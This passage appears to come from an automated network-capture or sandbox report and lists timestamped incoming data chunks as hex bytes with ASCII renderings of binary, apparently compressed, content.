9e 65 be 32 48 f0 d0 64 3b 40 9b f1 61 72 52 b9 25 94 df a9 c3 5b Data Ascii: 2A!gTQ%p&T=u?}Fy+}$t:(;pUm#${Ud4%C(u)n%-@Ph=Lrju}bsgw"ZJcHq2*#zL{DsLH=qOJl20S1C<:GCue2Hd;@arR%[
2023-02-22 08:42:08 UTC	94	IN	Data Raw: 2b ac b1 84 4f fe 9a 3f df e5 25 26 7c fa 57 d8 a2 03 6b fc 15 fe 3f c0 cf 21 fc 8c c0 26 c7 b9 86 d8 47 39 2d eb 1c 4a 83 4f 0a aa 58 f8 7b 09 9f d8 e0 ef 79 3f 42 f8 fb d2 13 2b ff 0e 9c 21 7c ea c1 ef 36 a4 96 cd fb 12 e7 54 fc 67 fe 6f 00 7f 59 10 c3 12 7e 9f c2 cf 1d fc 7e c1 79 79 86 80 16 fc ff 9f 90 8e 18 42 3b f0 9b 02 9f 1c 72 ea c2 2b 3c 05 50 f8 f9 eb b1 60 17 2c ff 74 00 5d b0 82 3c ee c1 16 25 00 fe db 00 b6 75 e1 dc 0e b6 50 fd 85 d5 7e a1 00 fc 33 03 db b6 c1 e5 73 9f f3 13 fc 37 25 97 c1 15 f6 2f 97 5f 21 fc 97 e4 b2 b5 73 89 06 79 1f c0 ff 9a e5 b5 2c f8 64 9f 4b a9 90 8e 93 d3 b9 cc 35 61 09 31 4c 72 e9 9d 20 dc 32 af 07 fe 72 5f 52 69 f3 9f ef f1 81 7f 19 3e d6 aa f4 81 00 e0 df aa ba f8 d7 6a 5f fe 89 cd eb 47 b9 66 c0 de fc 87 76 d5 Data Ascii: +O?%&\|Wk?!&G9-JOX{y?B+!\|6TgoY~~yyB;r+<P`,t]<%uP~3s7%/_!sy,dK5a1Lr 2r_Ri>j_Gfv
2023-02-22 08:42:08 UTC	97	IN	Data Raw: 07 be 6a 57 4d b3 ca 5f b1 ab 7a 7b 1f b1 ab 3a e4 ef b7 ab 26 ca cb fc 07 cd cb bf c3 ae 9a 7a 59 ee 50 fe b8 5d d5 5b fb b5 76 75 cf 1f ae 02 f9 dc ae 9a fa 5c 9e b5 fb b8 5d dd d3 f1 7e bb 6a 9a bb ad db d5 ad 1f 5f b5 ab fb 59 df a2 bd a2 e7 af 7b 51 a6 86 e9 f3 b3 2a f7 f8 cb 99 b6 02 12 7d e9 db e7 74 b8 de 76 69 a9 9f cd e3 eb ad 35 eb 70 51 da be fe fe a3 42 ff 67 34 f9 9e 37 d5 f9 cb 67 f3 2b 8f 90 42 05 f2 f9 0c 70 93 3c 4a c8 8f cf 46 3f 9b d3 6d 5e d7 7d 6b 4e f7 a3 58 9a 57 65 bf 1f 0b d2 08 f1 dd 58 9a 56 44 3f 86 e5 99 ef fd ba c5 d5 71 15 16 57 ae 3a 7e dc e2 9a 28 2f d7 1b cb 3e 97 f3 0c 44 ad 3f 5f b1 ba 3a d6 ea 5e e8 f7 45 11 f1 0e 9e 7c f9 fc 0a 67 eb ad 96 b3 68 9f 1d 3f d6 5b fb 5d 9c bd e7 cc 67 79 da 14 11 6f 63 bc 1b a7 5f 8b 88 Data Ascii: jWM_z{:&zYP][vu\]~j_Y{Q*}tvi5pQBg47g+Bp<JF?m^}kNXWeXVD?qW:~(/>D?_:^E\|gh?[]gyoc_
2023-02-22 08:42:08 UTC	101	IN	Data Raw: fe 06 a9 19 44 12 a3 64 39 ba 8b 9c 25 57 77 e5 77 5d 0c 92 ae ac 54 c0 81 dc b9 b6 4a f9 46 6d a7 13 8f 24 26 49 34 5a 64 69 d9 bb dd 16 45 7d d3 7b 41 13 dd 2c 4c 9c 12 fe 0e 99 36 3b cf b7 c8 99 05 70 4e e9 ca aa 29 27 fb 5b c4 59 d2 ca 41 27 b7 40 36 41 be 6b c9 cc e3 10 8a d8 bf b0 c7 6c 96 a9 43 36 5a e4 16 f5 ac c3 b8 54 4b 1e cb 9c 2b 16 c8 43 de 8d 41 e3 00 74 a6 36 80 fa c4 7a d4 28 45 48 96 5c b5 58 58 f2 fd 2b 0c 65 11 20 ee 94 b0 7c 0d 30 89 6d 56 b9 06 80 b4 6c bc 81 a7 f9 d5 0f a9 38 60 79 93 a2 8f 8e 89 e4 68 95 ee 08 10 2f 62 e9 c8 de ba 4d d2 9a 50 21 2b 02 36 46 b5 70 b5 a3 26 4b b2 32 f1 ab 53 3e 67 a3 49 2f e7 1c 8d 41 36 4e 20 87 69 0b dc c3 b6 30 12 d2 c8 21 bd a4 dd 29 e2 c2 ef 04 90 fb 07 ac a5 f8 2a c2 da 42 ed 77 b8 4d 8c 1c 24 Data Ascii: Dd9%Www]TJFm$&I4ZdiE}{A,L6;pN)'[YA'@6AklC6ZTK+CAt6z(EH\XX+e \|0mVl8`yh/bMP!+6Fp&K2S>gI/A6N i0!)*BwM$
2023-02-22 08:42:08 UTC	106	IN	Data Raw: de 2a 40 2a 0b f1 a3 49 6e 87 77 36 d0 9d 7d fe 08 3d fe 51 d1 71 54 48 3f 99 4d 91 73 a7 8c 07 6f 6c 60 e9 39 18 aa 59 1c 3d d2 63 13 c8 b8 81 8f 46 2f a8 dc 25 24 be cb 62 a0 5c 1a 50 64 c5 01 6f 62 a0 52 9b 24 d9 0d 0a 3d 8c 52 8b 5b a6 ca bf 97 c2 ad 22 87 5e a0 76 a1 9a c3 b3 20 05 c5 07 de 27 96 25 c3 c2 5b 32 58 1a 05 cd 93 60 5b 65 6e 04 a3 e0 38 90 27 3d 40 37 02 e5 e4 24 60 a3 8b 50 b7 8b 47 8b 82 2e 78 80 44 02 91 d2 e2 45 db ae 90 58 19 4d 36 99 0f 48 ce c6 b8 49 80 f1 1d a8 5a 39 59 73 8b 5b 3a c2 99 24 0f 92 99 bf 4d 96 9c 70 85 b7 b0 e8 35 72 19 32 da c8 40 e5 c6 5d cf e9 a9 95 35 fa 02 b0 86 7f f2 10 6b 18 fc 82 35 68 d6 34 42 c5 98 8b 9d 4c 0c 54 6e bc fc 83 32 e5 c2 91 c4 96 d9 2f 5a 66 4d ed 2c 7e e1 5b 34 f1 ad 7e e1 fb 07 45 66 58 e4 Data Ascii: @Inw6}=QqTH?Msol`9Y=cF/%$b\PdobR$=R["^v '%[2X`[en8'=@7$`PG.xDEXM6HIZ9Ys[:$Mp5r2@]5k5h4BLTn2/ZfM,~[4~EfX
2023-02-22 08:42:08 UTC	110	IN	Data Raw: d6 f9 06 79 9c d4 2b c6 e7 fb f3 e7 83 d3 83 cc 5f 94 74 d5 d7 6b 94 5f de f6 9f f1 19 bf 3f ef 9b 0f 91 8b d4 bc 87 b1 6f 8a cf 60 bd 0c f6 cc e2 f0 1e ce fe 24 3e 83 e7 e1 40 0e f5 75 30 bd a7 09 71 00 f9 07 74 ac 42 96 00 bf af 95 1b 35 b3 17 35 90 de ae 80 53 5f b5 7b df 05 33 73 d7 de f4 8d 0a 7c 93 02 8f 8f 6e a8 12 74 b6 e8 e0 f0 bd 77 05 40 7e 7e 77 c8 db 5a ea 70 f4 2e 80 7f d5 c9 7b 56 aa b4 23 5c 6b d9 07 f4 e4 57 fb 70 97 d5 20 c3 03 3d df 33 16 b8 bb c2 ce f2 fd 89 03 df 55 19 9f 91 a8 b2 0b f0 a6 18 16 aa e0 ad 09 5a f1 fd 5a 6b 70 0a 97 c5 b5 03 3f 7a ed db 8a 4a 3c ef b5 87 6f 2b 5a 14 f4 b5 f6 d2 bc 6b 8d 3a 1c a5 03 51 92 57 79 f2 6b 7f 7f f6 9a 72 e7 4f db d5 d7 24 ca b1 42 69 6f ff fd c5 af f1 f9 39 8b 76 3c 50 fb f8 9e fb e8 99 b1 2e Data Ascii: y+_tk_?o`$>@u0qtB55S_{3s\|ntw@~~wZp.{V#\kWp =3UZZkp?zJ<o+Zk:QWykrO$Bio9v<P.
2023-02-22 08:42:08 UTC	114	IN	Data Raw: 4e 53 92 44 78 21 cc 2b 0a c3 ec 42 a2 58 f4 e5 59 74 a5 18 81 9d bc d4 45 b3 b6 74 54 6e 51 7d 28 df 5a 0c d5 41 62 3d c1 15 68 10 36 4b f5 ce 62 b0 e2 40 05 5a 60 6a 58 05 93 79 76 94 40 2a 24 40 09 55 1d a2 96 38 88 c9 fa 97 73 11 27 07 c7 51 35 0c 20 48 51 15 aa aa d4 92 c3 ae a2 ec c5 0b a2 54 91 b3 f0 38 91 14 87 81 52 17 51 a6 ea b8 27 43 e4 c4 4a c7 24 4b 98 52 27 a1 3c b5 0f ab 3b a5 c4 da 18 57 12 34 67 2e 0e 96 c6 3b 08 50 31 79 ab b7 13 f8 72 d1 85 89 4d 1c 6f 42 c9 0e a8 3d 49 1c bc 85 f2 38 3e f0 b8 91 28 d6 65 32 c1 f1 5e 0a 0e 56 46 87 8e df 6f e1 e3 1f 4f 29 94 45 4b 28 ef 12 eb 7d 86 c8 57 d6 b6 b4 43 8c e2 0c 31 d2 85 ea d8 c6 0d d0 5a a0 1d 3a 66 8a 90 a3 d0 5f 2b f4 af 09 ea 47 10 65 1c 92 54 fd 44 ed 85 e0 4e 44 9e 22 35 90 ff b4 2c Data Ascii: NSDx!+BXYtEtTnQ}(ZAb=h6Kb@Z`jXyv@*$@U8s'Q5 HQT8RQ'CJ$KR'<;W4g.;P1yrMoB=I8>(e2^VFoO)EK(}WC1Z:f_+GeTDND"5,
2023-02-22 08:42:08 UTC	118	IN	Data Raw: 11 ac b1 a1 bf a9 bf a5 bf 4e 17 6f 6a 1c 6b 88 25 06 9a 1a d0 65 71 e9 65 4b 8e 46 a3 3f 6c b6 08 f4 37 0a fd 55 42 32 85 a6 08 ad 84 fe 82 4b 68 2d b4 c5 0f 8f a2 ff e2 f1 73 95 f8 cb 69 f1 42 1f 94 05 f8 79 58 fc 1c 61 26 ba c2 ff da 8a cf 6e 26 a2 d6 3e 42 37 81 3c c7 8d bf 35 8b fb 74 42 63 f4 d7 47 68 8f 60 f0 57 28 fb 88 5f ff 4a 11 9f 8c 4d 97 f0 f1 fb 53 fa 08 17 16 14 2f 7c 46 06 74 8c bf 59 42 78 5a b4 fa 3d f4 1f 24 7e 29 ec 8e 4e 05 6e 6f f1 61 c7 f2 aa de c5 3d 45 9d b1 19 b1 c1 81 98 77 71 1c 0b 65 f0 a1 15 b2 44 e0 84 8e ed 5b 96 2e 51 b9 84 80 bf c2 df ca d9 19 c5 c9 46 fc 17 12 84 5a c2 d6 0a bf 62 ec 84 98 76 31 82 b0 7c 6a c9 3b b1 c5 30 89 d4 56 3d d3 91 07 37 e1 bf 80 6d 29 1f c7 23 1d 57 b4 76 c6 74 1d de fb e2 d7 13 ba ec 19 7d 6c Data Ascii: Nojk%eqeKF?l7UB2Kh-siByXa&n&>B7<5tBcGh`W(_JMS/\|FtYBxZ=$~)Nnoa=EwqeD[.QFZbv1\|j;0V=7m)#Wvt}l
2023-02-22 08:42:08 UTC	122	IN	Data Raw: ec 71 eb 87 31 a5 57 f7 6e dc fd a5 06 9d 66 bd 77 6c cd 88 05 9b fa 0c 1c d0 b6 e9 f8 cf b6 a6 d7 ae b4 70 df a8 fe fa 3a 0b f7 36 5e 34 54 70 4d 19 6b 5b 56 77 6a 4c 7a ca 0f e6 c3 0b f6 7c bb dc d8 e8 e2 bb fb 7a 8d ff ea 6a a7 5e 27 47 8f 69 3a f6 ef f4 cb 6f 56 bd db a1 41 ed 2e 67 8d cf 54 3e da e3 e6 c6 37 5e 9a f8 da 84 11 77 e7 3e f9 75 1b 5b b2 71 d2 5b 93 1d d6 5e 43 27 2e ae 5d e1 70 d9 e5 65 f7 6f ad fc 58 f3 1b db 67 94 ae f2 c7 c8 ab 73 17 24 d6 98 f6 dd ed 97 cf 9f 8c ae d8 d5 71 68 a2 fe b3 cb 4b ed 4b 5e 8c f8 f0 ab a3 cb 16 5c 1f fb b6 29 ee 48 ff 8b ae c1 23 ea 4e 2c 92 b2 3f e5 e5 e0 a0 43 69 99 91 8d e7 05 1e 4f fa a1 4f 4f c7 51 4f b5 d0 ae f1 8b ef d5 8f 7c 2a a5 ef ea 2f ea cc b9 f2 66 df 2f 9a cf 6a f9 86 e9 d7 de cd a7 ee fa a4 Data Ascii: q1Wnfwlp:6^4TpMk[VwjLz\|zj^'Gi:oVA.gT>7^w>u[q[^C'.]peoXgs$qhKK^\)H#N,?CiOOOQO\|*/f/j
2023-02-22 08:42:08 UTC	126	IN	Data Raw: 6d 55 7a f6 0b f1 ec 5c 36 ef 64 07 f3 e4 d2 12 ca 9c d6 70 3a 6d 2b 26 09 0f 29 f7 de 85 eb 83 c9 b8 f7 d8 92 27 38 1f fb f4 2a cc a7 a5 b2 ca f3 0f 07 0c 86 70 62 74 32 d5 32 87 48 da fd 8f 5c b9 5c bc be 24 22 6e 95 42 60 ec 7c 8e b5 4b b0 aa 5f 20 cb 96 c4 b1 38 d1 8d b2 c4 b5 ec 49 d9 ce 21 9f 12 be 9c 78 48 7c f6 6b c6 fc b6 e0 83 9e 34 05 25 33 b8 df b5 80 33 85 8b 28 7c b1 81 39 45 76 64 ea 2d 65 81 fb 22 0e 85 fe 63 6f b4 05 47 74 2b 88 18 b8 94 e4 80 52 b2 3b 05 50 d3 69 c0 cb 67 01 5c d8 36 9d 37 aa 2d 94 95 16 13 be e9 19 cf 2f ba 50 9a 9c 85 c5 a9 60 1c c4 f2 a9 12 0a 27 22 ed 37 2b d2 8e 31 6f c2 7d 24 ac a6 d2 f7 b4 3e bf 9b be d1 64 75 8d fb 8a 67 89 9b bf 9e a6 43 2b 51 98 b8 9a d4 b7 0b 71 29 5b c5 df 8e 08 3e 27 fe e1 c5 9c 7f 58 85 bd Data Ascii: mUz\6dp:m+&)'8*pbt22H\\$"nB`\|K_ 8I!xH\|k4%33(\|9Evd-e"coGt+R;Pig\67-/P`'"7+1o}$>dugC+Qq)[>'X
2023-02-22 08:42:08 UTC	129	IN	Data Raw: d3 7a 19 f5 6a 36 ae f2 5f 70 b5 9a c3 64 f1 7a 66 ac 39 4a f8 86 be b8 95 0b 80 20 71 1e ea 4e 51 94 9b 4f a6 22 2e 02 e9 ec f1 bc 72 59 c9 f7 79 33 68 de b2 85 dd 43 53 b0 5b a0 c8 86 c0 5b 88 69 0a 60 e2 48 36 3b bf 8c c0 55 b6 17 e5 14 1d 72 e7 89 10 b2 ef 0c 11 32 22 98 e8 1e 23 54 71 09 a9 9e a9 82 d7 76 a1 e5 7d 05 a3 5a 21 12 43 d7 31 33 73 25 f2 87 c6 f3 c6 39 9b 15 75 9b 49 8b 68 e7 71 6b b8 c0 7e 6e 93 f8 ac 8e 59 31 75 34 7c 3a c0 c7 bc 7d 44 7e 89 46 46 f9 21 69 cf ce 13 71 78 09 af e5 5c 09 bb 3b 8c c6 84 ed c8 cc fd 85 81 55 14 47 ed bd f9 f1 e9 3e 3a 59 09 8c 1f 5b 4f 75 d6 7b 64 6f 26 b2 77 89 11 33 2b 5e 30 a5 3e 82 a8 ed 5d e4 e7 4d e7 d7 c9 4f a4 bd 2b a3 ba f8 1b 8e 76 3f 31 99 b7 83 d2 61 cb 59 a8 b6 0d c9 f1 5a 54 75 85 11 a2 29 8f Data Ascii: zj6_pdzf9J qNQO".rYy3hCS[[i`H6;Ur2"#Tqv}Z!C13s%9uIhqk~nY1u4\|:}D~FF!iqx\;UG>:Y[Ou{do&w3+^0>]MO+v?1aYZTu)
2023-02-22 08:42:08 UTC	133	IN	Data Raw: 64 3d 2f 9f 2e e1 f3 27 61 76 67 9f 64 f3 97 4e 26 9d 38 c8 9d 77 f1 1c ef 15 62 9f d0 1f 9a 4d ac e8 1e f3 99 ec c4 38 b6 a4 7b 50 61 77 80 ad d7 dd 39 be 70 19 37 ee 7d e1 f0 ac 08 4c 57 2e c1 ba 63 01 fb c4 ff e0 55 39 0e a5 94 19 7c 68 be 44 d4 21 33 a6 14 cc e3 50 90 17 51 2a fb 09 0d 3c c0 80 03 cb 58 65 d2 8b ef 29 6d 0a 0f 17 23 2e d8 c9 21 c3 66 32 24 75 24 11 85 53 30 1a 71 90 fa 11 23 19 1d 73 0b c7 b6 cd dc da dc 17 59 ad 95 58 8e d6 e2 ec be 1d 8c 59 f4 80 68 e3 71 02 e8 9d 29 b0 b7 6a 72 16 1d a5 79 f5 59 fc 3c 97 f2 5e f7 27 57 1d dc f8 70 2d 8e 65 7e 53 31 72 79 cd ba c9 db a9 dc 1e c7 86 c1 ee 38 0f b1 62 f3 9a 31 64 b5 7e 66 48 c1 61 96 d6 58 b3 e4 f5 7c 2a b7 9c a0 c0 fa 33 7a 2f 93 09 56 5e 4c 72 c6 10 44 6d f5 e8 b3 d2 9a 61 41 fe f8 Data Ascii: d=/.'avgdN&8wbM8{Paw9p7}LW.cU9\|hD!3PQ<Xe)m#.!f2$u$S0q#sYXYhq)jryY<^'Wp-e~S1ry8b1d~fHaX\|3z/V^LrDmaA
2023-02-22 08:42:08 UTC	138	IN	Data Raw: 44 66 08 20 d4 35 78 1b 8b bb ae a1 2f 67 c7 96 89 46 a8 1d a9 65 6c e0 37 a6 f6 0d 20 ee e8 41 94 56 76 b2 a5 bf 20 24 3f 26 63 a7 3f 9c 71 c6 bf d9 69 74 98 3d 8e 19 2c 0c 3e 47 cd cb 67 6c bd 2f c9 e7 3b e6 84 ac d0 e7 57 d6 14 64 d3 af b2 6f f7 39 4c 2f 2e 46 f8 c9 2b 86 9e b6 26 50 24 81 f8 13 7b 18 7f aa 13 e1 a5 81 e4 0a ca ff aa 48 19 25 47 9e d3 96 d9 c5 06 ed 47 54 d9 9c 60 59 ee 79 7c 8f b9 d3 14 91 84 72 5b 1a 6d 25 b1 ec 50 be 48 49 77 22 ed 01 1b 78 77 43 8c 7b 69 9f 98 b5 78 33 9d ae c3 e9 6a 34 25 e4 5f 37 1f e7 ac 65 df 84 3a 3a 8e 59 a0 bd 4e 19 c3 26 1b 52 17 ee e1 ca 63 17 0a 37 cf c0 5f 50 20 da a2 3f 79 ac 78 97 ef d1 bf 51 d6 0a a0 c6 54 1f 37 13 7b c4 fe 3c e4 7e be 00 e4 7e 94 20 35 55 17 7f d7 2c 8e 28 ad e5 dd 9d d7 9c 90 8e e2 Data Ascii: Df 5x/gFel7 AVv $?&c?qit=,>Ggl/;Wdo9L/.F+&P${H%GGT`Yy\|r[m%PHIw"xwC{ix3j4%_7e::YN&Rc7_P ?yxQT7{<~~ 5U,(
2023-02-22 08:42:08 UTC	142	IN	Data Raw: 3f a3 11 2a ed 44 31 69 0f 37 05 80 94 3b fb 10 23 96 34 73 df 7f 1c cd 0e 35 1c 7d 36 01 2f 9d 5f 28 ad 9e 8e e7 c0 26 32 d7 59 61 63 5f c0 d2 8c c3 4c 98 b5 97 77 1b 97 92 f2 e4 0e 1d 5d 87 39 5f 21 cb 1f fb 7b 44 49 ac c1 6c f5 65 e6 cb 7d a2 d9 57 17 85 3f 5b 91 7f 5d c5 37 d3 db 98 18 df e3 5a 9c 3d 43 1c 7c d8 3d b6 81 03 fe 13 51 c9 2e c2 d9 62 1f df 5f 1d a0 ae cf 6f 24 5e ff e2 99 ff 0c 1e 5a cd e7 90 e0 e3 6d 1d be 93 a1 a7 1c 19 9a 3f 13 17 fd 60 b6 2e d0 a2 ff 60 71 32 9f ec 65 d8 98 c5 28 ad 19 8c 8b 18 34 bf f3 25 cb fd 1d f7 0d fd 58 7b 58 96 05 37 52 e9 f8 b6 9f 01 7f 16 33 f1 57 06 13 37 ac 66 c8 c7 e1 bc 36 e8 c5 be aa 15 39 05 59 2e 6b 8a 12 e4 64 cc 09 c9 d7 7c df 3b 9d 19 5b 8f f2 28 6b 3e 2b 83 ec 39 ab f0 81 79 fb 41 f2 f3 12 16 3f Data Ascii: ?*D1i7;#4s5}6/_(&2Yac_Lw]9_!{DIle}W?[]7Z=C\|=Q.b_o$^Zm?`.`q2e(4%X{X7R3W7f69Y.kd\|;[(k>+9yA?
2023-02-22 08:42:08 UTC	146	IN	Data Raw: 29 a1 17 ee b0 b2 cf 35 ee be 3b cf 89 3d b6 ac 19 15 c8 d6 9a f3 8c 17 98 f8 c8 1e 7b a2 0f b4 92 f5 2a 82 31 59 cb c9 8d 97 17 94 a2 1b 2f 6f 14 72 ff 49 01 77 06 ef e1 49 f1 0a ae 09 60 e1 a5 78 3b be 41 d7 18 65 3f 58 60 88 06 54 1b 7b 92 ff 7b 08 8d 7a df 18 ff 56 9a 97 55 92 5c 3d 5e c0 c0 f1 5b 69 9a 61 8d af cc 4f 82 1f b4 23 f3 29 83 f9 37 26 52 90 2b cb 92 8e 20 41 e8 96 30 ea 76 a0 a0 80 8f d2 eb 3a 89 0d 15 87 39 5d d5 48 ea 73 45 6e 2b be 64 f5 c5 27 0c b0 5d 86 e2 f2 61 a4 87 3d e0 c3 df 56 c4 9b d3 88 d8 d1 07 bb 84 4c d6 29 7d c6 48 49 89 3d 05 0b d1 79 b7 8b 37 37 97 e2 af fc 90 c6 7b 66 54 2a 5f 20 60 58 7f 7e 4c 9c c8 f0 69 79 1c 9c d0 c1 11 fd 37 b4 77 ac 25 34 d9 1f b9 d9 de 28 85 37 63 3f 37 18 f9 c7 26 88 49 05 50 6e 7f 02 45 dd 6e Data Ascii: )5;={1Y/orIwI`x;Ae?X`T{{zVU\=^[iaO#)7&R+ A0v:9]HsEn+d']a=VL)}HI=y77{fT_ `X~Liy7w%4(7c?7&IPnEn
2023-02-22 08:42:08 UTC	150	IN	Data Raw: b1 1d 7d 89 5e 24 87 bf 60 5b cd 19 d6 8c 7d 48 71 c2 40 6a be 5d a0 77 ba 3d 61 c2 4c b4 dc dd 82 f5 e2 77 5c 1c 38 82 13 67 4f a1 58 3c 8b a4 b1 5b a9 1d 35 8e f7 43 ef 11 2c 11 c8 37 ed fd 14 3e dc 86 96 6a 3b 77 b6 bd e2 f3 c3 77 64 be 48 e7 68 fb 3f 4e 89 f6 63 d7 b3 d7 d4 0d 74 63 5e ea 4b 8e 55 29 70 3f af 94 e2 2e 7d 6e 65 28 12 91 3f 1b d9 88 ab 3c d7 b5 47 da f3 0b 05 bb 5e d1 30 7d 3b ef cf 49 50 5e fb 9b 5e bf a7 a3 bd 6b 10 8d e1 3d 18 bc 75 03 ab af 94 b2 ff 66 13 43 56 2d e6 cb dc 53 38 55 da 31 7a 84 2e 4d 12 af 79 39 e2 1a 62 13 bd 88 df 3d 1c ed 91 ab d0 13 8a f1 42 c0 31 be cd 48 14 0c fd 04 7d 76 db d3 32 ee 32 63 32 9b 71 5e b3 89 29 8e 76 cc f8 3c 97 a2 c6 bb 5c da e3 c8 ee d5 0b b9 56 fa 98 f8 cd d2 f4 93 76 e6 e4 59 3d 1c e6 ee 20 Data Ascii: }^$`[}Hq@j]w=aLw\8gOX<[5C,7>j;wwdHh?Nctc^KU)p?.}ne(?<G^0};IP^^k=ufCV-S8U1z.My9b=B1H}v22c2q^)v<\VvY=
2023-02-22 08:42:08 UTC	154	IN	Data Raw: 6e b0 bd 8c ec 4d 2d f6 6f b8 2b 40 84 2a 75 07 ca c8 16 0c d4 fc de 55 5e 2e b8 81 ca 87 31 c4 79 ce e1 98 ea 4e c6 6d 10 ee 5a 5a 04 d3 36 fe 63 e0 b6 99 dc 9a 1e cc 5f 5b 75 c6 2c 15 02 75 66 20 1f 5b 6b 91 d9 fc 97 f4 14 5b 7e e6 14 d2 2d 5b c4 4d d1 24 22 a7 2e e0 7d 94 00 a8 4f 7c f9 b7 7e 3c 66 3d 8f b2 f7 be 36 e1 c2 ac b9 9c 7d 4a 97 7c 39 0e 9b 6c a9 1e 65 c0 8d 96 8f 18 5b f4 61 98 7b 08 df 2b 3f 50 ad f6 96 36 85 2a 06 ec 10 cc 5e 21 9e e4 75 d7 f0 3a fb 98 11 86 43 49 5d 5d c7 63 95 11 58 c7 cf e2 e3 f5 9f 78 d7 6f e5 c4 44 57 32 8f 9b f3 3c 4c 8e c7 99 c3 19 3d 72 12 76 22 e6 bc 1a 64 8c d9 de 09 ec 6f 68 65 f4 e2 42 06 2c 57 c2 bd f9 3d 55 01 31 5c ba 17 89 d4 f3 de 2c 1b 30 95 5f 8b 66 23 32 3e 0a 05 2d f8 78 be 27 2f 4e af 45 fe c8 2e d6 Data Ascii: nM-o+@uU^.1yNmZZ6c_[u,uf [k[~-[M$".}O\|~<f=6}J\|9le[a{+?P6^!u:CI]]cXxoDW2<L=rv"doheB,W=U1\,0_f#2>-x'/NE.
2023-02-22 08:42:08 UTC	158	IN	Data Raw: 00 c6 4e 9f c5 96 99 07 51 fe 7a 97 29 a9 41 82 75 78 61 d6 d5 c6 ba 45 e2 98 0f 49 a5 c9 d3 9d 0b 02 a8 94 dd 3a cc 08 cd df 04 19 7d 40 c5 6e 39 0b 9c a3 38 78 f7 07 92 11 4e 74 97 c7 23 f3 6b 1f eb cf 8d 65 74 95 1a 7d 3d ce 73 42 31 9b 39 5f c4 50 2a 7f c4 e8 49 e3 e9 90 f4 40 df 48 1c 1d a5 de d4 3b 55 72 ed ee 7e d6 6f bd 4f af c9 8b f8 b5 48 5d b0 a9 21 84 88 9f 67 d6 b4 10 c4 b3 33 b8 6e 33 4d f8 7a 03 9f 5c de 73 50 7b 1e 89 7b 52 59 ed b5 8c c1 97 e7 93 bd 2b 89 c9 4d d9 ac e3 1e ab 6e ae 61 4c 59 1b c3 04 23 ef 6d 34 03 2b 89 65 6c 52 8d 62 80 a8 13 2f 05 6b 74 6c bb c8 85 ac 4f e8 05 27 f2 40 b2 91 e0 01 b3 29 4a 1a ca 95 74 5d cc c6 cb 73 f1 d3 55 3e 2e 3f 84 8f d7 76 14 ef 04 e0 5a db 44 8e bc f0 3d 85 d5 6c 98 1e 88 4d 46 07 ae 57 ce e2 b1 Data Ascii: NQz)AuxaEI:}@n98xNt#ket}=sB19_P*I@H;Ur~oOH]!g3n3Mz\sP{{RY+MnaLY#m4+elRb/ktlO'@)Jt]sU>.?vZD=lMFW
2023-02-22 08:42:08 UTC	161	IN	Data Raw: a4 8f 16 cc b3 e1 be e9 27 2e d6 28 63 7b ac 9d 61 0e dd 8c 9b af 81 dd f6 d9 10 71 8c 03 0e a1 f4 0f 95 67 78 d7 6a 64 db 15 49 5e da 82 d8 fc 8d 7c 3c 9e 87 89 61 31 0f dc 2e 31 7b 5b 38 df 0d 3e 20 b1 f0 1e da 0f 9b 98 76 e1 13 9a 59 c2 d9 68 ae e4 ee b6 6c 42 c6 b6 a3 58 15 87 b5 48 36 da 32 d9 dc fd 18 c0 d5 67 55 98 39 8e e7 7b bf 72 34 77 bd e5 ba fe 78 56 dd eb cb a8 7b cd 8c ec 30 27 e1 87 0f de 0b 57 a1 2f 17 49 7e d9 60 7c 0f db f3 bd 32 8b 5d d6 d1 a4 4d 89 65 c6 eb 59 a4 75 ec e0 e2 5b 51 f6 be 93 24 59 6a 03 cd 35 63 18 b9 6b 13 6a 6b 7f 31 7d fc 3f d4 9a ef 31 a9 47 b6 30 67 ba 74 6a b6 90 ef b9 57 c8 ce 32 1c ec ab f8 29 d8 b7 f8 4e 03 5a 0f 06 e2 5a 25 8a ff e0 71 fc 2e a8 c3 7d c8 0e 8e 1d 56 c7 6f cc 7a 1c 8e 58 22 91 6c 81 fe 65 5d 1e Data Ascii: '.(c{aqgxjdI^\|<a1.1{[8> vYhlBXH62gU9{r4wxV{0'W/I~`\|2]MeYu[Q$Yj5ckjk1}?1G0gtjW2)NZZ%q.}VozX"le]
2023-02-22 08:42:08 UTC	165	IN	Data Raw: ba fe 93 99 33 cf 31 2a 76 30 69 01 e2 bc 1a 23 e4 d7 63 7d 76 5a 4e 65 6d 6e 05 7d 9f dc 26 63 be 35 b7 75 af 53 a6 a4 ce 33 af 5a c4 8d 5b 29 3a 68 c4 4a 4b 13 6a 4c ae 91 74 27 9c 98 65 de 18 ec e8 4f cb 7a 7b fa 8d 5b 80 fe d4 a1 9c cd 7a c7 f8 be d2 5c fd 9a 8f 12 b2 84 4e 4c c1 7c d9 0c ea a7 27 32 5a b5 02 b1 31 c9 24 fc 59 47 f2 cc 15 ac b0 33 e3 e5 42 5b 8e da 1d 22 60 5d 25 4d 72 0b f9 e3 69 c5 f4 1c 65 2e 4f 98 ce 88 5b bd 99 14 3f 91 60 21 3b 26 c5 27 62 f6 a6 18 4b eb 61 98 df bb 86 4e c5 2e ca c6 07 93 e1 e6 c5 c6 3f f5 f4 b9 ed 49 ea ec 1c fe fd da c2 9b a4 7b b4 ec 6b a7 57 8f 8d 44 f9 7e a4 fe f6 7b c1 a2 95 90 ef 7f 05 ed af 21 4c 56 bb c4 8c 26 5b 82 75 9c 88 1e 94 c2 0e 01 14 a5 2a 4d f1 32 d8 ce 75 b5 0d 0c a8 f7 e1 b5 a6 39 f7 2e f4 Data Ascii: 31v0i#c}vZNemn}&c5uS3Z[):hJKjLt'eOz{[z\NL\|'2Z1$YG3B["`]%Mrie.O[?`!;&'bKaN.?I{kWD~{!LV&[uM2u9.
2023-02-22 08:42:08 UTC	170	IN	Data Raw: 12 27 cd 60 b6 95 08 8b 9c 5b 58 38 b0 02 43 73 17 9e ee 18 c2 fb ec 70 2e 2e 9b c1 5a 8b 95 18 05 1f c6 70 f2 62 16 f4 6f 62 4f 60 2c 97 2c 3c 90 2c ef 22 fb 6f 2a e6 0e 7d d9 55 66 cc 3b a3 9f e4 06 7a 60 54 97 28 9c a9 24 af e6 4e 22 43 3a 17 d5 b5 d3 58 7f d2 0c 43 59 1f 12 b3 86 a1 ad e3 c7 e7 43 77 d1 77 34 a3 21 fa 2e 77 b7 0b 25 ae 5e 49 96 75 36 5a 87 b4 c9 fb 1d 8b bd fd 3e e2 97 e4 f1 b2 e3 30 ba f5 87 d9 37 32 94 79 cf fe 09 45 d4 c5 84 fa 14 4a fa 3e a4 79 c6 4e a6 cd 33 63 c1 c7 a1 14 09 6b 7c 6b 7e 9f c0 51 9b 59 f4 41 